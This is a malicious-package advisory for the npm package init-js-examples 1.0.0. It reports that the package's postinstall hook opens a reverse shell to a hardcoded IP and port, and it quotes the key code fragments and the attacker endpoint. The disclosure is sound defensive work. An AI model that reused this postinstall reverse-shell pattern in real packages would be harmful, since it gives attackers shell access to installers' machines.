npm · Malicious package advisory
Malwareinit-js-examples
GHSA-3h42-9m9w-6jcr
Malicious code in init-js-examples (npm)
Details
**Severity:** Critical
**Affected versions:** `= 1.0.0`
## Source: amazon-inspector (6005f6b51f3286b65f92b6c8dd73d51c744f89428bbb238f2186b61b7112e6c2)
The package's postinstall lifecycle hook runs setup.js, which opens a TCP socket to the hardcoded remote endpoint 130.61.90.45:4443 and wires the socket's input/output to a /bin/sh child process (net.Socket().connect(4443, "130.61.90.45") with cp.spawn("/bin/sh") and bidirectional pipes between the socket and the shell). Because package.json declares postinstall to invoke this script, running `npm install init-js-examples` automatically grants the remote endpoint interactive shell access on the installer's host, resulting in full remote code execution and a persistent backdoor.
---
Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/a3d01e3a56cf4ba9e9e1ec313d2e65f53302eb61/osv/malicious/npm/init-js-examples/MAL-2026-10996.json))
**References:**
- https://github.com/ossf/malicious-packages/blob/a3d01e3a56cf4ba9e9e1ec313d2e65f53302eb61/osv/malicious/npm/init-js-examples/MAL-2026-10996.json
- https://www.npmjs.com/package/init-js-examples/v/1.0.0
- https://github.com/advisories/GHSA-3h42-9m9w-6jcrCompromised versions (1)
- = 1.0.0
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.